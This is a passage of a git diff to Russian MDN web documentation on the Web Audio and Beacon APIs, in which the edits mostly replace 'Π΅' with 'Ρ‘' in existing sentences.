- <strong>AudioNode </strong>это ΠΎΠ±Ρ‰ΠΈΠΉ интСрфСйс для описания ΠΌΠΎΠ΄ΡƒΠ»Π΅ΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π°ΡƒΠ΄ΠΈΠΎ Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ источники Π·Π²ΡƒΠΊΠ° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ HTML элСмСнты {{HTMLElement("audio")}} ΠΈΠ»ΠΈΒ {{HTMLElement("video")}}), Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ Π·Π²ΡƒΠΊΠ° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ {{domxref("OscillatorNode")}}Β ΠΈ Ρ‚.ΠΏ.), ΠΏΡ€ΠΈΠ΅ΠΌΠ½ΠΈΠΊΠΈ Π·Π²ΡƒΠΊΠ° для ΠΌΠΎΠ΄ΡƒΠ»Π΅ΠΉ производящих ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ Π·Π²ΡƒΠΊΠ° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ {{domxref("BiquadFilterNode")}} ΠΈΠ»ΠΈΒ {{domxref("ConvolverNode")}}), ΠΈΠ»ΠΈ рСгуляторы громкости (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ {{domxref("GainNode")}}).Β </p>
+ <strong>AudioNode </strong>это ΠΎΠ±Ρ‰ΠΈΠΉ интСрфСйс для описания ΠΌΠΎΠ΄ΡƒΠ»Π΅ΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π°ΡƒΠ΄ΠΈΠΎ Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ источники Π·Π²ΡƒΠΊΠ° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ HTML элСмСнты {{HTMLElement("audio")}} ΠΈΠ»ΠΈΒ {{HTMLElement("video")}}), Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ Π·Π²ΡƒΠΊΠ° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ {{domxref("OscillatorNode")}}Β ΠΈ Ρ‚.ΠΏ.), ΠΏΡ€ΠΈΡ‘ΠΌΠ½ΠΈΠΊΠΈ Π·Π²ΡƒΠΊΠ° для ΠΌΠΎΠ΄ΡƒΠ»Π΅ΠΉ производящих ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ Π·Π²ΡƒΠΊΠ° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ {{domxref("BiquadFilterNode")}} ΠΈΠ»ΠΈΒ {{domxref("ConvolverNode")}}), ΠΈΠ»ΠΈ рСгуляторы громкости (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ {{domxref("GainNode")}}).Β </p>
<p><img alt="AudioNodes participating in an AudioContext create a audio routing graph." src="https://mdn.mozillademos.org/files/9713/WebAudioBasics.png" style="display: block; height: 230px; margin: 0px auto; width: 677px;"></p>
@@ -25,7 +25,7 @@ translation_of: Web/API/AudioNode
<dl>
<dt>{{domxref("AudioNode.numberOfInputs")}} {{readonlyInline}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ количСство Π²Ρ…ΠΎΠ΄ΠΎΠ² ΡƒΠ·Π»Π°. Π£Π·Π»Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΠΊΠ°ΠΊ источники ΠΈΠΌΠ΅ΡŽΡ‚Β <code>numberOfInputs</code>Β Ρ€Π°Π²Π½ΠΎΠ΅ 0.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ количСство Π²Ρ…ΠΎΠ΄ΠΎΠ² ΡƒΠ·Π»Π°. Π£Π·Π»Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΠΊΠ°ΠΊ источники ΠΈΠΌΠ΅ΡŽΡ‚Β <code>numberOfInputs</code>Β Ρ€Π°Π²Π½ΠΎΠ΅ 0.</dd>
</dl>
<dl>
@@ -56,7 +56,7 @@ translation_of: Web/API/AudioNode
<dt>{{domxref("AudioNode.connect(AudioParam)")}}</dt>
<dd>ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ Π½Π°ΠΌ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΎΠ΄ΠΈΠ½ Π²Ρ‹Ρ…ΠΎΠ΄ Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΡƒΠ·Π»Π° Π½Π° парамСтричСский Π²Ρ…ΠΎΠ΄ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ.</dd>
<dt>{{domxref("AudioNode.disconnect()")}}</dt>
- <dd>ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ Π½Π°ΠΌ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΡƒΠ·Π΅Π» ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ, ΡƒΠΆΠ΅ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ ΡƒΠ·Π»Π°.</dd>
+ <dd>ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ Π½Π°ΠΌ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΡƒΠ·Π΅Π» ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ, ΡƒΠΆΠ΅ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠ³ΠΎ ΡƒΠ·Π»Π°.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
diff --git a/files/ru/web/api/audioparam/setvalueattime/index.html b/files/ru/web/api/audioparam/setvalueattime/index.html
index f60d3e7d99..202e13d971 100644
--- a/files/ru/web/api/audioparam/setvalueattime/index.html
+++ b/files/ru/web/api/audioparam/setvalueattime/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/AudioParam/setValueAtTime
---
<p>{{ APIRef("Web Audio API") }}</p>
-<p class="summary"><code>setValueAtTime()</code> ΠΌΠ΅Ρ‚ΠΎΠ΄ интСрфСйса {{domxref("AudioParam")}} ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠΉ ΠΌΠ³Π½ΠΎΠ²Π΅Π½Π½ΠΎ Ρ‚ΠΎΡ‡Π½ΠΎ ΠΏΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>AudioParam</code> , сравнивая с {{domxref("AudioContext.currentTime")}}. НовоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ даСтся Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°.</p>
+<p class="summary"><code>setValueAtTime()</code> ΠΌΠ΅Ρ‚ΠΎΠ΄ интСрфСйса {{domxref("AudioParam")}} ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠΉ ΠΌΠ³Π½ΠΎΠ²Π΅Π½Π½ΠΎ Ρ‚ΠΎΡ‡Π½ΠΎ ΠΏΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>AudioParam</code> , сравнивая с {{domxref("AudioContext.currentTime")}}. НовоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ даётся Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
diff --git a/files/ru/web/api/baseaudiocontext/createpanner/index.html b/files/ru/web/api/baseaudiocontext/createpanner/index.html
index 83a8089d44..9d4161e184 100644
--- a/files/ru/web/api/baseaudiocontext/createpanner/index.html
+++ b/files/ru/web/api/baseaudiocontext/createpanner/index.html
@@ -24,13 +24,13 @@ var panner = audioCtx.createPanner();</pre>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
<div class="note_trans">
-<div>НиТС ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ использования {{domxref("AudioListener")}}, {{domxref("PannerNode")}} ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>createPanner()</code> для управлСния пространством объСмного Π·Π²ΡƒΠΊΠ°. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ опрСдСляСтся ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π² Ρ‚Ρ€Π΅Ρ…ΠΌΠ΅Ρ€Π½ΠΎΠΌ пространствС, ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Π·Π°Π½ΠΈΠΌΠ°Π΅ΠΌΠΎΠ΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ (listener) ΠΈ источником Π·Π²ΡƒΠΊΠ° (panner), Π° Π·Π°Ρ‚Π΅ΠΌ, ΠΏΡ€ΠΈ использовании прилоТСния, обновляСтся позиция ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· Π½ΠΈΡ… ΠΈΠ»ΠΈ ΠΎΠ±ΠΎΠΈΡ…. НапримСр, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ пСрсонаТа Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΈΠ³Ρ€ΠΎΠ²ΠΎΠ³ΠΎ ΠΌΠΈΡ€Π°, ΠΈ ΠΆΠ΅Π»Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° Π·Π²ΡƒΠΊΠ° измСнялась рСалистично, ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ приблиТСния ΠΈΠ»ΠΈ отдалСния пСрсонаТа ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ источника Π·Π²ΡƒΠΊΠ°, Π²Ρ€ΠΎΠ΄Π΅ стСрСопроигрыватСля. Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΠΎΠΆΠ½ΠΎ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ всС это управляСтся функциями <code>moveRight()</code>, <code>moveLeft()</code>, ΠΈ Ρ‚.ΠΏ., ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ Π½ΠΎΠ²Ρ‹Π΅ значСния для полоТСния ΠΏΠ°Π½Π½Π΅Ρ€Π° Ρ‡Π΅Ρ€Π΅Π· Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>PositionPanner()</code>.</div>
+<div>НиТС ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ использования {{domxref("AudioListener")}}, {{domxref("PannerNode")}} ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>createPanner()</code> для управлСния пространством ΠΎΠ±ΡŠΡ‘ΠΌΠ½ΠΎΠ³ΠΎ Π·Π²ΡƒΠΊΠ°. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ опрСдСляСтся ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π² Ρ‚Ρ€Ρ‘Ρ…ΠΌΠ΅Ρ€Π½ΠΎΠΌ пространствС, ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Π·Π°Π½ΠΈΠΌΠ°Π΅ΠΌΠΎΠ΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ (listener) ΠΈ источником Π·Π²ΡƒΠΊΠ° (panner), Π° Π·Π°Ρ‚Π΅ΠΌ, ΠΏΡ€ΠΈ использовании прилоТСния, обновляСтся позиция ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· Π½ΠΈΡ… ΠΈΠ»ΠΈ ΠΎΠ±ΠΎΠΈΡ…. НапримСр, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ пСрсонаТа Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΈΠ³Ρ€ΠΎΠ²ΠΎΠ³ΠΎ ΠΌΠΈΡ€Π°, ΠΈ ΠΆΠ΅Π»Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° Π·Π²ΡƒΠΊΠ° измСнялась рСалистично, ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ приблиТСния ΠΈΠ»ΠΈ отдалСния пСрсонаТа ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ источника Π·Π²ΡƒΠΊΠ°, Π²Ρ€ΠΎΠ΄Π΅ стСрСопроигрыватСля. Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΠΎΠΆΠ½ΠΎ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ всС это управляСтся функциями <code>moveRight()</code>, <code>moveLeft()</code>, ΠΈ Ρ‚.ΠΏ., ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ Π½ΠΎΠ²Ρ‹Π΅ значСния для полоТСния ΠΏΠ°Π½Π½Π΅Ρ€Π° Ρ‡Π΅Ρ€Π΅Π· Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>PositionPanner()</code>.</div>
<div>Β </div>
<div>
<div class="note_trans">
-<div>Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΏΠΎΠ»Π½ΡƒΡŽ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с нашим <a href="https://mdn.github.io/webaudio-examples/panner-node/">ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ panner-node</a> (<a href="https://mdn.github.io/webaudio-examples/">просмотритС вСсь список ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ²</a>) β€” эта дСмонстрация пСрСнСсСт вас Π² 2.5D "Room of metal" (2,5-ΠΌΠ΅Ρ€Π½ΡƒΡŽ "ΠΌΠ΅Ρ‚Π°Π»Π»ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ ΠΊΠΎΠΌΠ½Π°Ρ‚Ρƒ"), Π³Π΄Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΎΠΈΠ³Ρ€Π°Ρ‚ΡŒ Ρ‚Ρ€Π΅ΠΊ Π½Π° <a class="popupspot">бумбоксС</a> ΠΈ Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π²ΠΎΠΊΡ€ΡƒΠ³ Π½Π΅Π³ΠΎ ΠΈ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΊΠ°ΠΊ измСняСтся Π·Π²ΡƒΠΊ!</div>
+<div>Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΏΠΎΠ»Π½ΡƒΡŽ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с нашим <a href="https://mdn.github.io/webaudio-examples/panner-node/">ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ panner-node</a> (<a href="https://mdn.github.io/webaudio-examples/">просмотритС вСсь список ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ²</a>) β€” эта дСмонстрация пСрСнСсёт вас Π² 2.5D "Room of metal" (2,5-ΠΌΠ΅Ρ€Π½ΡƒΡŽ "ΠΌΠ΅Ρ‚Π°Π»Π»ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ ΠΊΠΎΠΌΠ½Π°Ρ‚Ρƒ"), Π³Π΄Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΎΠΈΠ³Ρ€Π°Ρ‚ΡŒ Ρ‚Ρ€Π΅ΠΊ Π½Π° <a class="popupspot">бумбоксС</a> ΠΈ Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π²ΠΎΠΊΡ€ΡƒΠ³ Π½Π΅Π³ΠΎ ΠΈ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΊΠ°ΠΊ измСняСтся Π·Π²ΡƒΠΊ!</div>
<div>Β </div>
</div>
diff --git a/files/ru/web/api/beacon_api/index.html b/files/ru/web/api/beacon_api/index.html
index 984c00117d..1e33abb3df 100644
--- a/files/ru/web/api/beacon_api/index.html
+++ b/files/ru/web/api/beacon_api/index.html
@@ -15,7 +15,7 @@ translation_of: Web/API/Beacon_API
<p>НапримСр, Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠΌ использования Beacon API ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π»ΠΎΠ³ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ активности ΠΈΠ»ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° Π°Π½Π°Π»ΠΈΡ‚ΠΈΠΊΠΈ Π½Π° сСрвСр.</p>
-<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ ΠΊΠΎΠ΄Π° интСрфСйсов, описанных Π² этом Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Π² Ρ€Π°Π·Π΄Π΅Π» <em><a href="/Web/API/Beacon_API/Using_the_Beacon_API">ИспользованиС Beacon API</a></em>.</p>
+<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ ΠΊΠΎΠ΄Π° интСрфСйсов, описанных Π² этом Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π² Ρ€Π°Π·Π΄Π΅Π» <em><a href="/Web/API/Beacon_API/Using_the_Beacon_API">ИспользованиС Beacon API</a></em>.</p>
@@ -23,11 +23,11 @@ translation_of: Web/API/Beacon_API
<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ <code>Beacon</code> ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ потрСбностям аналитичСского ΠΈ диагностичСского ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ пытаСтся ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π½Π° Π²Π΅Π±-сСрвСр ΠΏΠ΅Ρ€Π΅Π΄ Π²Ρ‹Π³Ρ€ΡƒΠ·ΠΊΠΎΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. ΠžΡ‚ΠΏΡ€Π°Π²ΠΊΠ° Π΄Π°Π½Π½Ρ‹Ρ… Ρ…ΠΎΡ‚ΡŒ Π½Π° сСкунду Ρ€Π°Π½ΡŒΡˆΠ΅Β ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ ΡƒΠΏΡƒΡ‰Π΅Π½Π½ΠΎΠΉ возмоТности сбора Π΄Π°Π½Π½Ρ‹Ρ…. Π’ любом случаС, обСспСчСниС Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π°Π½Π½Ρ‹Π΅ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΠ»ΠΈΡΡŒ Π²ΠΎ врСмя Π²Ρ‹Π³Ρ€ΡƒΠ·ΠΊΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, являСтся Ρ‡Π΅ΠΌ-Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Ρ‚Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½ΠΎ Π±Ρ‹Π»ΠΎ Ρ‚Ρ€ΡƒΠ΄Π½Ρ‹ΠΌ для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ².</p>
-<p>ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹Β ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ асинхронныС  {{domxref("XMLHttpRequest","XMLHttpRequests")}} сдСланныС Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ΅ Π²Ρ‹Π³Ρ€ΡƒΠ·ΠΊΠΈ. Для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ этой ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹, аналитичСский ΠΈ диагностичСский ΠΊΠΎΠ΄ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ создаСт синхронный {{domxref("XMLHttpRequest")}} Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ΅ {{event("unload")}} ΠΈΠ»ΠΈ {{event("beforeunload")}} для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ…. Π‘ΠΈΠ½Ρ…Ρ€ΠΎΠ½Π½Ρ‹ΠΉ {{domxref("XMLHttpRequest")}} заставляСт Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΡ‚Π»ΠΎΠΆΠΈΡ‚ΡŒ Π²Ρ‹Π³Ρ€ΡƒΠ·ΠΊΡƒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ Π΄Π΅Π»Π°Π΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΡŽ Π±ΠΎΠ»Π΅Π΅ ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΠΉ.Β Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ страница Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ этого ощущСния Π½ΠΈΠ·ΠΊΠΎΠΉ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ страницы.Β </p>
+<p>ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹Β ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ асинхронныС  {{domxref("XMLHttpRequest","XMLHttpRequests")}} сдСланныС Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ΅ Π²Ρ‹Π³Ρ€ΡƒΠ·ΠΊΠΈ. Для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ этой ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹, аналитичСский ΠΈ диагностичСский ΠΊΠΎΠ΄ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ создаёт синхронный {{domxref("XMLHttpRequest")}} Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ΅ {{event("unload")}} ΠΈΠ»ΠΈ {{event("beforeunload")}} для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ…. Π‘ΠΈΠ½Ρ…Ρ€ΠΎΠ½Π½Ρ‹ΠΉ {{domxref("XMLHttpRequest")}} заставляСт Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΡ‚Π»ΠΎΠΆΠΈΡ‚ΡŒ Π²Ρ‹Π³Ρ€ΡƒΠ·ΠΊΡƒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ Π΄Π΅Π»Π°Π΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΡŽ Π±ΠΎΠ»Π΅Π΅ ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΠΉ.Β Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ страница Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ этого ощущСния Π½ΠΈΠ·ΠΊΠΎΠΉ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ страницы.Β </p>
-<p>Π•ΡΡ‚ΡŒ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ прСдоставлСния Π΄Π°Π½Π½Ρ‹Ρ…. Одним ΠΈΠ· Ρ‚Π°ΠΊΠΈΡ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² являСтся Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠ° ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΡƒΡ‚Π΅ΠΌ создания элСмСнта Image ΠΈ установки Π΅Π³ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>src</code>Β Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ΅ Π²Ρ‹Π³Ρ€ΡƒΠ·ΠΊΠΈ. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΎΡ‚ΠΊΠ»Π°Π΄Ρ‹Π²Π°ΡŽΡ‚ Π²Ρ‹Π³Ρ€ΡƒΠ·ΠΊΡƒ для Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΎΠΆΠΈΠ΄Π°ΡŽΡ‰Π΅ΠΉ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ изобраТСния, Π΄Π°Π½Π½Ρ‹Π΅ 